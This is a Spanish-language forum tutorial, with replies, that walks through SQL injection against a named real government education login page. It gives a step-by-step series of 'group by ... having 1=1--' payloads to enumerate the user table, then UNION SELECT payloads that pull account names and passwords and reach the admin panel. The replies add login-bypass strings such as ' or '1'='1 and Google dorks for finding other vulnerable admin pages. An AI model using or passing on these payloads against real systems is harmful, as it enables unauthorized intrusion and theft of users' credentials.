(http://3.bp.blogspot.com/-dIS2rHtJFwk/UTf6PehbsFI/AAAAAAAABjI/wL6Myv4CYho/s1600/sqli.gif)
Bien comencemos, para este tutorial utizare la página de http://informaticaeducacion.nl.gob.mx/saci/login.asp
Este tutorial es con fines educativos y no me hago responsable del uso que le den.
En el en campo "Clave de Acceso" y "Password" del login escribimos:
' having 1= 1--
(http://1.bp.blogspot.com/-J7k1oJHoSgg/UTf8JRg4JfI/AAAAAAAABjg/ArO-9DbG5i4/s1600/sql_asp.png)
Al hacerlo nos dara el seguiente error:
(http://1.bp.blogspot.com/-tj8MihADRKU/UTf8LUX5sLI/AAAAAAAABj8/ghaDKC8jsJU/s1600/sql_asp_1.png)
Sabemos que es vulnerable y nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave, teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave having 1 = 1--
Hacemos la inyección y el siguiente error sera así:
(http://2.bp.blogspot.com/-54FqhoO1cEk/UTf8K2HEwAI/AAAAAAAABjo/ru7vDpfUO1Y/s1600/sql_asp_2.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Nombre", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre having 1=1--
Hacemos la inyección y el siguiente error sera así:
(http://4.bp.blogspot.com/-TMaovgAAN8I/UTf8LmYvvdI/AAAAAAAABkA/yC-h9VsAThI/s1600/sql_asp_3.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave_de_Acceso", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1--
Hacemos la inyección y el siguiente error sera así:
(http://4.bp.blogspot.com/-qtDfNyNdz34/UTf8Ohdw2sI/AAAAAAAABko/LCTSp96cqFs/s1600/sql_asp_4.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Password", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1--
Hacemos la inyección y el siguiente error sera así:
(http://1.bp.blogspot.com/-un-25yMb0jw/UTf8M8hsWtI/AAAAAAAABkI/XaxayvylfQo/s1600/sql_asp_5.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tipo_de_Usuario", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1--
Hacemos la inyección y el siguiente error sera así:
(http://3.bp.blogspot.com/-t4rvrx29cnQ/UTf8NTt8lBI/AAAAAAAABkQ/btQQfI4T3nw/s1600/sql_asp_6.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tunto_de_Captura", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1--
Hacemos la inyección y el siguiente error sera así:
(http://2.bp.blogspot.com/-om2chci_rsA/UTf8JXDjOxI/AAAAAAAABjc/OpcJ-8i-qJI/s1600/slq_asp_7.png)
Nos acaba de dar el nombre de la tabla y la columna "Usuario.ESTATUS", teniendo esto regresamos a nuestro login y escribimos:
' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--
Como podemos observar al hacer esto nos dira "clave de acceso y/o password incorrectos" esto quiere decir que hemos terminado de buscar las tablas y columnas.
(http://3.bp.blogspot.com/-IwAatK6XkPM/UTgCsnt37_I/AAAAAAAABk4/4S5KPFGP0gQ/s1600/sql_login_asp.png)
Nuestra siguiente inyección sera de esta forma:
' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'--
Esta parte tenemos 6 unos y min(LOGIN) es la posición al hacer la inyección les arroja los datos.
La posión de los unos puede varia un ejemplo podría ser:
' union select 1,1,1,1,min(Clave_de_Acceso)1,1 from Usuario where Clave_de_Acceso > 'a'--
(http://4.bp.blogspot.com/-5YbxfL6Uyng/UTf8N9E22xI/AAAAAAAABkY/DQuje9yCVAA/s1600/sql_asp_8.png)
Curiosamente al hacer la inyección de esta forma tenemos el acceso:
' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'--
(http://1.bp.blogspot.com/-7j5HvUOoJaQ/UTf8LU5-RoI/AAAAAAAABj0/r6jbDcfn5tk/s1600/panel.png)
La inyección para que les arroje la password es:
' union select 1,1,1,1,1,1,min(Password) from Usuario where Password > 'ADMIN'--
(http://2.bp.blogspot.com/-3CaHjaffQfY/UTf8ObZN1OI/AAAAAAAABkg/V3fUJbMhFQ0/s1600/sql_asp_9.png)
Buen post. Traté con una web y al momento de usar
' union select 1,1,1,1,min(xxxx) from yyyyy where xxxx > 'a'--
Al poner ese código (con los respectivos datos), no puedo acceder (el número de columnas es correcto, o sino sale un error). Simplemente carga de nuevo el login. No me da el error que aparece ahí. También probé en cambiar el min(xxxx) a todas las posiciones de los 1's y nada. ¿Alguna idea?
jojo! gracias por compartir.
ahora toca probar.!
existen otras consultas sql que le puedes meter a los campos de texto para bypassear y en este caso se esta descubriendo solamente los campos de una sola tabla y no de varias como mencionas, la tabla seria "Usuario", queria hacer esa aclaración
salu2
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Prueba con esto :
user:'1 or '1'='1
password:'1 or '1'='1
Esa Sentencia Es Muy Conocida Se Puede Usar Con El Dork De Google
inurl :admin login.asp
inurl :admin.asp
Tambien Funciona
username: admin
password: 'or''='
S2